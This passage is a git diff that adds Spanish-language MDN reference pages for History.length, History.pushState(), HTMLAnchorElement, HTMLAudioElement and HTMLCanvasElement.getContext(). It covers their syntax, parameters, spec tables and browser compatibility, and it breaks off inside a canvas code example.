+slug: Web/API/History/length
+tags:
+  - API
+  - DOM HTML
+  - Historial de navegación
+  - History
+  - Lectura
+  - Navegador
+  - Propiedad
+  - historial
+translation_of: Web/API/History/length
+---
+<div>{{APIRef("History API")}}</div>
+
+<p><span class="seoSummary">La propiedad de sólo lectura <code><strong>History.length</strong></code> retorna un entero representando el número de elementos en el historial de la sesión, incluyendo la página cargada actualmente. Por ejemplo, para una página cargada en una nueva pestaña esta propiedad retorna</span> <code>1</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">const <em>length</em> = history.length
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#dom-history-length", "History.length")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambios desde {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#dom-history-length", "History.length")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página es generada desde datos estructurados. Si te gustaría contribuir a los datos, por favor revisa <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una <em>pull request</em>.</div>
+
+<p>{{Compat("api.History.length")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>La interfaz {{domxref("History")}} a la que pertenece.</li>
+</ul>
diff --git a/files/es/web/api/history/pushstate/index.html b/files/es/web/api/history/pushstate/index.html
new file mode 100644
index 0000000000..29de4cf521
--- /dev/null
+++ b/files/es/web/api/history/pushstate/index.html
@@ -0,0 +1,96 @@
+---
+title: History.pushState()
+slug: Web/API/History/pushState
+tags:
+  - API
+  - DOM HTML
+  - Historial de navegación
+  - History
+  - History API
+  - Navegador
+  - Sesion
+  - URL
+  - Web
+  - historial
+  - pushState
+translation_of: Web/API/History/pushState
+---
+<div>{{APIRef("History API")}}</div>
+
+<p>En un documento <a href="/en-US/docs/Web/HTML">HTML</a>, el método <strong><code>history.pushState()</code></strong> anexa un registro en la sesión de historial del navegador.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">history.pushState(<var>state</var>, <var>title<span style="font-style: normal;">, [</span></var><var>url</var>])</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>state</code></dt>
+ <dd>El objeto <code>state</code> es un objeto de JavaScript asociado al nuevo registro en el historial creado por <code>pushState()</code>. Cuando el usuario navega al nuevo registro, un evento {{event("popstate")}} es accionado, y la propiedad <code>state</code> del evento contiene una copia del objeto <code>state</code> del registro en el historial.</dd>
+ <dd>El objeto <code>state</code> puede ser cualquier cosa que pueda ser serializada. Porque Firefox guarda los objetos  <code>state</code> en el disco del usuario para que así puedan ser restaurados luego de que el usuario reinicia el navegador, se impone un límite de 640k caracteres en la representación serializada de un objeto <code>state</code>. Si pasas un objeto <code>state</code> con una representación serializada más grande que lo mencionado, a <code>pushState()</code>, el método arrojará una excepción. Si necesitas más espacio que el mencionado, es recomendable que uses {{domxref("Window.sessionStorage", "sessionStorage")}} y/o {{domxref("Window.localStorage", "localStorage")}}.</dd>
+ <dt><code>title</code></dt>
+ <dd><a href="https://github.com/whatwg/html/issues/2174">La mayoría de los navegadores ignoran este parámetro</a>, sin embargo, podrían usarlo en el futuro. Pasar una cadena de texto vacía aquí, debería ser seguro contra futuros cambios en el método. Alternativamente, podrías pasar un título corto por el estado al cual te estás moviendo. Si necesitas que el título sea modificado, puedes usar {{domxref("Document.title", "document.title")}}.</dd>
+ <dt><code>url</code> {{optional_inline}}</dt>
+ <dd>La URL del nuevo registro en el historial, se define en este parámetro. Es importante destacar que el navegador no intentará cargar esta URL luego de una llamada a <code>pushState()</code>, pero podría intentar cargar esta URL luego, por ejemplo, luego de que el usuario reinicie el navegador. La nueva URL no necesita ser absoluta; puede ser relativa a la URL actual. La nueva URL debe tener el mismo {{glossary("origin")}} que la URL actual; de otra manera, <code>pushState()</code> arrojará una excepción. Si este parámetro no es especificado, por defecto se usa la URL del documento actual.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>En cierto sentido, llamar a <code>pushState()</code> es similar a <code>window.location = "#foo"</code>, ambos crearán y activarán un nuevo registro en el historial asociado al documento actual. Pero <code>pushState()</code> tiene unas ventajas adicionales:</p>
+
+<ul>
+ <li>La nueva URL pueded ser cualquier URL con el mismo origen que la URL actual. En contraste, usar {{domxref("window.location")}} te mantiene en el mismo documento únicamente si modificas el <em>hash</em>.</li>
+ <li>No tienes que cambiar la URL si no quieres. En contraste, usar <code>window.location = "#foo";</code> sólo crea un nuevo registro en el historial si el <em>hash</em> actual no es <code>#foo</code>.</li>
+ <li>Puedes asociar datos arbitrarios a tu nuevo registro en el historial. Con el truco del <em>hash</em>, necesitas codificar todos los datos relevantes en una corta cadena de texto.</li>
+</ul>
+
+<p>Cabe destacar que <code>pushState()</code> nunca hace que el evento {{event("hashchange")}} sea accionado, incluso si la nueva URL difiere de la URL antigua sólo en su <em>hash</em>.</p>
+
+<p>En otros documentos, crea u nelemento con una URI <code>null</code>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Esto crea un nuevo registro en el historial del navegador, estableciendo <code><em>state</em></code>, <code><em>title</em></code>, y <code><em>url</em></code>.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">const state = { 'page_id': 1, 'user_id': 5 }
+const title = ''
+const url = 'hello-world.html'
+
+history.pushState(state, title, url)</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#dom-history-pushstate", "History.pushState()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Ningún cambio desde {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "history.html#dom-history-pushstate", "History.pushState()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta páginas es generada desde datos estructurados. Si te gustaría contribuir a los datos, por favor revisa <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una <em>pull request</em>.</div>
+
+<p>{{Compat("api.History.pushState")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/History_API/Working_with_the_History_API">Trabajando con la API History</a></li>
+</ul>
diff --git a/files/es/web/api/htmlanchorelement/index.html b/files/es/web/api/htmlanchorelement/index.html
new file mode 100644
index 0000000000..57cb21820e
--- /dev/null
+++ b/files/es/web/api/htmlanchorelement/index.html
@@ -0,0 +1,279 @@
+---
+title: HTMLAnchorElement
+slug: Web/API/HTMLAnchorElement
+tags:
+  - API
+  - HTML DOM
+  - Interfaz
+  - Referencia
+translation_of: Web/API/HTMLAnchorElement
+---
+<div>{{APIRef ("HTML DOM")}}<br>
+La interfaz <strong>HTMLAnchorElement</strong> representa elementos de hipervínculo y proporciona propiedades y métodos especiales (más allá de los de la interfaz de objeto {{domxref ("HTMLElement")}} regular de la que heredan) para manipular el diseño y la presentación de dichos elementos.</div>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<p>Hereda propiedades de su elemento primario, {{domxref ("HTMLElement")}}, y las implementa desde {{domxref ("HTMLHyperlinkElementUtils")}}.</p>
+
+<p>{{domxref ("HTMLAnchorElement.accessKey")}}<br>
+ Es un {{domxref ("DOMString")}} que representa un solo carácter que cambia el foco de entrada al hipervínculo.</p>
+
+<p><br>
+ {{domxref ("HTMLAnchorElement.charset")}} {{obsolete_inline}}<br>
+ Es un {{domxref ("DOMString")}} que representa la codificación de caracteres del recurso vinculado.</p>
+
+<p><br>
+ {{domxref ("HTMLAnchorElement.coords")}} {{obsolete_inline}}<br>
+ Es un {{domxref ("DOMString")}} que representa una lista de coordenadas separadas por comas.</p>
+
+<p> </p>
+
+<dl>
+ <dt>{{domxref ("HTMLAnchorElement.download")}} {{experimental_inline}}<br>
+ Es un {{domxref ("DOMString")}} que indica que el recurso vinculado está destinado a descargarse en lugar de mostrarse en el navegador. El valor representa el nombre propuesto del archivo. Si el nombre no es un nombre de archivo válido del sistema operativo subyacente, el navegador lo adaptará.</dt>
+ <dt><br>
+ {{domxref ("HTMLHyperlinkElementUtils.hash")}}<br>
+ Es un {{domxref ("USVString")}} que representa el identificador de fragmento, incluida la marca hash inicial ('#'), si la hay, en la URL a la que se hace referencia.</dt>
+ <dt><br>
+ {{domxref ("HTMLHyperlinkElementUtils.host")}}<br>
+ Es un {{domxref ("USVString")}} que representa el nombre de host y el puerto (si no es el puerto predeterminado) en la URL a la que se hace referencia.</dt>
+ <dt><br>
+ {{domxref ("HTMLHyperlinkElementUtils.hostname")}}<br>
+ Es un {{domxref ("USVString")}} que representa el nombre de host en la URL referenciada.</dt>
+ <dd> </dd>
+ <dt>{{domxref ("HTMLHyperlinkElementUtils.href")}}<br>
+ Es un {{domxref ("USVString")}} que refleja el atributo HTML {{htmlattrxref ("href", "a")}}, que contiene una URL válida de un recurso vinculado.</dt>
+ <dt><br>
+ {{domxref ("HTMLAnchorElement.hreflang")}}<br>
+ Es un {{domxref ("DOMString")}} que refleja el atributo HTML {{htmlattrxref ("hreflang", "a")}}, que indica el idioma del recurso vinculado.</dt>
+ <dt><br>
+ {{domxref ("HTMLAnchorElement.media")}}<br>
+ Es un {{domxref ("DOMString")}} que refleja el atributo HTML {{htmlattrxref ("media", "a")}}, que indica los medios previstos para el recurso vinculado.</dt>
+ <dt><br>
+ {{domxref ("HTMLAnchorElement.name")}} {{obsolete_inline}}<br>
+ Es un {{domxref ("DOMString")}} que representa el nombre del ancla.<br>
+ {{domxref ("HTMLHyperlinkElementUtils.password")}}<br>
+ Es un {{domxref ("USVString")}} que contiene la contraseña especificada antes del nombre de dominio.</dt>
+ <dd> </dd>
+ <dt>{{domxref ("HTMLHyperlinkElementUtils.origin")}} {{readonlyInline}}<br>
+ Devuelve un {{domxref ("USVString")}} que contiene el origen de la URL, que es su esquema, su dominio y su puerto.</dt>
+ <dt><br>
+ {{domxref ("HTMLHyperlinkElementUtils.pathname")}}<br>
+ Es un {{domxref ("USVString")}} que representa el componente del nombre de ruta, si lo hay, de la URL referenciada.</dt>
+ <dt><br>
+ {{domxref ("HTMLHyperlinkElementUtils.port")}}<br>
+ Es un {{domxref ("USVString")}} que representa el componente de puerto, si lo hay, de la URL a la que se hace referencia.</dt>
+ <dt><br>
+ {{domxref ("HTMLHyperlinkElementUtils.protocol")}}<br>
+ Es un {{domxref ("USVString")}} que representa el componente de protocolo, incluidos los puntos finales (':'), de la URL a la que se hace referencia.</dt>
+ <dt><br>
+ {{domxref ("HTMLAnchorElement.referrerPolicy")}} {{experimental_inline}}<br>
+ Es un {{domxref ("DOMString")}} que refleja el atributo {{htmlattrxref ("referrerpolicy", "a")}} HTML que indica qué referencia usar.</dt>
+ <dt><br>
+ {{domxref ("HTMLAnchorElement.rel")}}<br>
+ Es un {{domxref ("DOMString")}} que refleja el atributo HTML {{htmlattrxref ("rel", "a")}}, que especifica la relación del objeto de destino con el objeto vinculado.</dt>
+ <dt><br>
+ {{domxref ("HTMLAnchorElement.relList")}} {{readonlyInline}}<br>
+ Devuelve un {{domxref ("DOMTokenList")}} que refleja el atributo HTML {{htmlattrxref ("rel", "a")}}, como una lista de tokens.</dt>
+ <dt><br>
+ {{domxref ("HTMLAnchorElement.rev")}} {{obsolete_inline}}<br>
+ Es un {{domxref ("DOMString")}} que representa el atributo HTML {{htmlattrxref ("rev", "a")}}, que especifica la relación del objeto de enlace con el objeto de destino.</dt>
+ <dt><br>
+ {{domxref ("HTMLHyperlinkElementUtils.search")}}<br>
+ Es un {{domxref ("USVString")}} que representa el elemento de búsqueda, incluido el signo de interrogación principal ('?'), Si lo hay, de la URL a la que se hace referencia.</dt>
+ <dt><br>
+ {{domxref ("HTMLAnchorElement.shape")}} {{obsolete_inline}}<br>
+ Es un {{domxref ("DOMString")}} que representa la forma del área activa.</dt>
+ <dt><br>
+ {{domxref ("HTMLAnchorElement.tabindex")}}<br>
+ Es un largo que contiene la posición del elemento en el orden de navegación de tabulación para el documento actual.</dt>
+ <dt><br>
+ {{domxref ("HTMLAnchorElement.target")}}<br>
+ Es un {{domxref ("DOMString")}} que refleja el atributo HTML {{htmlattrxref ("target", "a")}}, que indica dónde mostrar el recurso vinculado.</dt>
+ <dt><br>
+ {{domxref ("HTMLAnchorElement.text")}}<br>
+ Es un {{domxref ("DOMString")}} un sinónimo de la propiedad {{domxref ("Node.textContent")}}.</dt>
+ <dt><br>
+ {{domxref ("HTMLAnchorElement.type")}}<br>
+ Es un {{domxref ("DOMString")}} que refleja el atributo HTML {{htmlattrxref ("type", "a")}}, que indica el tipo MIME del recurso vinculado.</dt>
+ <dt><br>
+ {{domxref ("HTMLHyperlinkElementUtils.nombre de usuario")}}<br>
+ Es un {{domxref ("USVString")}} que contiene el nombre de usuario especificado antes del nombre de dominio.</dt>
+</dl>
+
+<h2 id="Metodos">Metodos</h2>
+
+<p>Hereda los métodos de su padre, {{domxref ("HTMLElement")}}, y los implementa desde {{domxref ("HTMLHyperlinkElementUtils")}}.</p>
+
+<p>{{domxref ("HTMLElement.blur ()")}}<br>
+ Elimina el foco del teclado del elemento actual.<br>
+ {{domxref ("HTMLElement.focus ()")}}<br>
+ Da el foco del teclado al elemento actual.<br>
+ {{domxref ("HTMLHyperlinkElementUtils.toString ()")}}<br>
+ Devuelve un {{domxref ("USVString")}} que contiene la URL completa. Es un sinónimo de {{domxref ("URLUtils.href")}}, aunque no se puede usar para modificar el valor.<br>
+ Los métodos blur () y focus () se heredan de {{domxref ("HTMLElement")}} de HTML5 on, pero se definieron en HTMLAnchorElement en DOM Level 2 HTML y especificaciones anteriores.</p>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Epecificacion</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Commentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Se agregó la propiedad de referencia.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Se agregó el refe. Se agregó la siguiente propiedad: descargar.<br>
+    Técnicamente, las propiedades relacionadas con URL, medios, host, nombre de host, ruta, puerto, protocolo, búsqueda y hash, se han movido a la interfaz {{domxref ("URLUtils")}}, y HTMLAreaElement implementa esta propiedad de interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Los métodos blur () y focus (), así como las propiedades tabindex y accessKey, ahora están definidos en {{domxref ("HTMLElement")}}.<br>
+    Las siguientes propiedades ahora están obsoletas: charset, coords, name, rev y shape.<br>
+    Se han agregado las siguientes propiedades: hash, host, nombre de host, medios, ruta, puerto, protocolo, relList, búsqueda y texto.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-48250443', 'HTMLAnchorElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Sin cambios desde {{SpecName ("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-48250443', 'HTMLAnchorElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>definicion Inicial .</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>download</code></td>
+   <td>{{CompatChrome(14)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>20</td>
+   <td>{{CompatUnknown}}</td>
+   <td>15</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>username</code>, <code>password</code>, and <code>origin</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>referrerPolicy</code></td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("50")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>download</code></td>
+   <td>{{CompatChrome(14)}}</td>
+   <td>{{CompatChrome(14)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>username</code>, <code>password</code>, and <code>origin</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>referrerPolicy</code></td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("50")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_tambien">Ver tambien</h2>
+
+<ul>
+ <li>El elemento HTML que implementa esta interfaz: {{HTMLElement ("a")}}</li>
+</ul>
diff --git a/files/es/web/api/htmlaudioelement/index.html b/files/es/web/api/htmlaudioelement/index.html
new file mode 100644
index 0000000000..0d725ebb14
--- /dev/null
+++ b/files/es/web/api/htmlaudioelement/index.html
@@ -0,0 +1,77 @@
+---
+title: HTMLAudioElement
+slug: Web/API/HTMLAudioElement
+tags:
+  - DOM
+  - HTML
+  - Media
+  - para_revisar
+translation_of: Web/API/HTMLAudioElement
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p>La interfaz <code>HTMLAudioElement</code> proporciona acceso a las propiedades de los elementos {{ HTMLElement("audio") }}, así como métodos para manipularlos. Se deriva de la interfaz <a href="/en/DOM/HTMLMediaElement" title="en/DOM/HTMLMediaElement"><code>HTMLMediaElement</code></a>; se implementa por medio de {{ interface("nsIDOMHTMLMediaElement") }}.</p>
+
+<p>Para obtener más detalles sobre cómo usar las caracterísitcas de transmisión de sonido que expone esta interfaz, por favor consulta <a href="/en/Introducing_the_Audio_API_Extension" title="en/Introducing the Audio API Extension">Introducción a la extensión de la API de sonido</a>.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Nombre</th>
+   <th scope="col">Tipo</th>
+   <th scope="col">Descripción</th>
+  </tr>
+  <tr>
+   <td><code>mozCurrentSampleOffset</code> {{ gecko_minversion_inline("2.0") }} {{ non-standard_inline() }}</td>
+   <td><span style="font-family: monospace;">unsigned long long</span></td>
+   <td>Indica el desplazamiento actual de la transmisión de sonido que fue creada por una llamada a <code>mozWriteAudio()</code>. Esta posición de desplazamiento se especifica como el número de muestras desde que se inició la transmisión.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Métodos">Métodos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Nombre y argumentos</th>
+   <th scope="col">Retorno</th>
+   <th scope="col">Descripción</th>
+  </tr>
+  <tr>
+   <td><code>Audio()</code></td>
+   <td><code>HTMLAudioElement</code></td>
+   <td>Constructor para elementos de audio. La propiedad <strong>preload</strong> del objeto devuelto se establece en <code>auto</code>.</td>
+  </tr>
+  <tr>
+   <td><code>Audio(en <a href="/En/DOM/DOMString" title="En/DOM/DOMString">DOMString</a> src)</code></td>
+   <td>HTMLAudioElement</td>
+   <td>Constructor para elementos de audio. La propiedad <strong>preload</strong> del objeto devuelto se establece a <code>auto</code>; la propiedad <strong>src</strong> se establece al valor del argumento . El navegador comienza una selección asíncrona del recurso antes de que devuelva el objeto.</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>mozSetup(in PRUint32 channels, in PRUint32 rate) </code>{{ gecko_minversion_inline("2.0") }} {{ non-standard_inline() }}</p>
+   </td>
+   <td>-</td>
+   <td>Configura la transmisión de sonido para escritura. Especificas como parámetros el número de canales (1 para mono o 2 para estéreo), a continuación la frecuencia de muestreo ((44100 for 44.1kHz, por ejemplo).</td>
+  </tr>
+  <tr>
+   <td><code>mozWriteAudio(in jsval data)</code> {{ gecko_minversion_inline("2.0") }} {{ non-standard_inline() }}</td>
+   <td><code>unsigned long</code></td>
+   <td>Inserta en la transmisión la escritura de sonido en la posición de desplazamiento actual . Devuelve el número de bytes que se han escrito en la transmisión.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Consulta_también">Consulta también</h2>
+
+<ul>
+ <li><a href="/en/Introducing_the_Audio_API_Extension" title="en/Introducing the Audio API Extension">Introducción a la extensión de la API de sonido</a></li>
+ <li>{{ HTMLElement("audio") }}</li>
+</ul>
+
+<p>{{ languages( { "en": "en/DOM/HTMLAudioElement" } ) }}</p>
diff --git a/files/es/web/api/htmlcanvaselement/getcontext/index.html b/files/es/web/api/htmlcanvaselement/getcontext/index.html
new file mode 100644
index 0000000000..cb77b1594e
--- /dev/null
+++ b/files/es/web/api/htmlcanvaselement/getcontext/index.html
@@ -0,0 +1,284 @@
+---
+title: HTMLCanvasElement.getContext()
+slug: Web/API/HTMLCanvasElement/getContext
+translation_of: Web/API/HTMLCanvasElement/getContext
+---
+<div>{{APIRef("Canvas API")}}</div>
+
+<p>El método <strong><code>HTMLCanvasElement.getContext()</code></strong> retorna un contexto de dibujo en el lienzo, o {{jsxref("null")}} si el identificador del contexto no está soportado.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var><em>canvas</em>.getContext(<em>contextType, contextAttributes</em>);</var>
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt>contextType</dt>
+ <dd>Es una  {{domxref("DOMString")}} que contiene el identificador del contexto que define el contexto de dibujo asociado a el lienzo. Los posibles valores son:
+ <ul>
+  <li><code>"2d</code>", dando lugar a la creación de un objeto {{domxref("CanvasRenderingContext2D")}} que representa un contexto de renderizado de dos dimensiones.</li>
+  <li><code>"webgl"</code> (o <code>"experimental-webgl"</code>) el cual creará  un objeto {{domxref("WebGLRenderingContext")}} que representa un contexto de renderizado de tres dimensiones. Este contexto sólo está disponible en navegadores que implementan <a href="https://developer.mozilla.org/en-US/docs/Web/WebGL">WebGL</a> version 1 (OpenGL ES 2.0).</li>
+  <li>"<code>webgl2</code>" (o "<code>experimental-webgl2</code>") el cual creará un objeto {{domxref("WebGL2RenderingContext")}} que representa un contexto de renderizado de tres dimensiones. Este contexto sólo está disponible en navegadores que implementan <a href="https://developer.mozilla.org/en-US/docs/Web/WebGL">WebGL</a> version 2 (OpenGL ES 3.0). {{experimental_inline}}</li>
+  <li><code>"bitmaprenderer"</code> el cuál creará un {{domxref("ImageBitmapRenderingContext")}} que únicamente provee funcionalidad para remplazar el contenido del lienzo con un {{domxref("ImageBitmap")}} dado.</li>
+ </ul>
+
+ <p>Nota: Los identificadores  "<code>experimental-webgl</code>" o "<code>experimental-webgl2</code>" son usados en nuevas implementaciones de WebGL. Estas implementaciones no han logrado aprobar el conjunto de pruebas de conformidad o la situación de los controladores gráficos en la plataforma no es estable aun. <a href="https://www.khronos.org/">Khronos Group</a> certifica las implementaciones de WebGL bajo ciertas <a href="https://www.khronos.org/registry/webgl/sdk/tests/CONFORMANCE_RULES.txt">reglas de conformidad</a>.</p>
+ </dd>
+ <dt><code>contextAttributes</code></dt>
+ <dd>
+ <p>Puedes usar varios atributos al momento de crear tu contexto de renderizado. Por ejemplo:</p>
+
+ <pre class="brush: js">canvas.getContext('webgl',
+                 { antialias: false,
+                   depth: false });</pre>
+ Atributos del contexto 2d:
+
+ <ul>
+  <li><strong><code>alpha</code></strong>: Booleano que indica si el lienzo contiene canal alfa. Si es asignado falso, el naveagdor sabe que el fondo siempre es opaco, lo cual puede acelerar el dibujado de contenido transparente e imágenes.</li>
+  <li>{{non-standard_inline}} (Gecko únicamente) <strong><code>willReadFrequently</code></strong>: Booleano que indica si muchas operaciones de read-back están planeadas o no. Esto forzará el uso de software (en lugar de aceleración de hardware) y puede ahorrar memoria al llamar {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}} constantemente. Esta opción solo está disponible si <code>gfx.canvas.willReadFrequently.enable</code> es verdadero(lo cual solo está asignado por defecto en B2G/Firefox OS).</li>
+  <li>{{non-standard_inline}} (Blink únicamente) <strong><code>storage</code></strong>: Cadena que indica si el almacenamiento es usado ("persistent"  por defecto).</li>
+ </ul>
+ Atributos del contexto WebGL:
+
+ <ul>
+  <li><strong><code>alpha</code></strong>: Booleano que indica si el lienzo contiene un buffer alfa.</li>
+  <li><strong><code>depth</code></strong>: Booleano que indica si el buffer de dibujo tiene un buffer de profundidad de al menos 16 bits.</li>
+  <li><strong><code>stencil</code></strong>: Booleano que indica si el buffer de dibujo tiene un stencil de al menos 8 bits.</li>
+  <li><strong><code>antialias</code></strong>: Booleano que indica si se debe aplicar anti-aliasing.</li>
+  <li><strong><code>premultipliedAlpha</code></strong>: Booleano que indica que el compositor de páginas asumirá que el buffer de dibujo contiene colores con alfa premultiplicado.</li>
+  <li><strong><code>preserveDrawingBuffer</code></strong>: Si es verdadero los buffers no se limpiarán y mantendrán sus valores hasta que el autor los limpie o los sobreescriba.</li>
+  <li>
+   <p><code><strong>failIfMajorPerformanceCaveat</strong></code>: Booleano que indica si un contexto será creado si el rendimiento del sistema es bajo.</p>
+  </li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un {{domxref("RenderingContext")}} que puede ser:</p>
+
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D")}} para <code>"2d"</code>,</li>
+ <li>{{domxref("WebGLRenderingContext")}} para<code>"webgl"</code> y <code>"experimental-webgl"</code>,</li>
+ <li>{{domxref("WebGL2RenderingContext")}} para <code>"webgl2"</code> y <code>"experimental-webgl2"</code>, o</li>
+ <li>{{domxref("ImageBitmapRenderingContext")}} para <code>"bitmaprenderer"</code>.</li>
+</ul>
+
+<p>Si <em>contextType</em> no corresponde con un posible contexto de dibujo retorna null.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Dado este elemento {{HTMLElement("canvas")}}:</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>Puedes obtener un contexto 2d del canvas con el código siguiente:</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
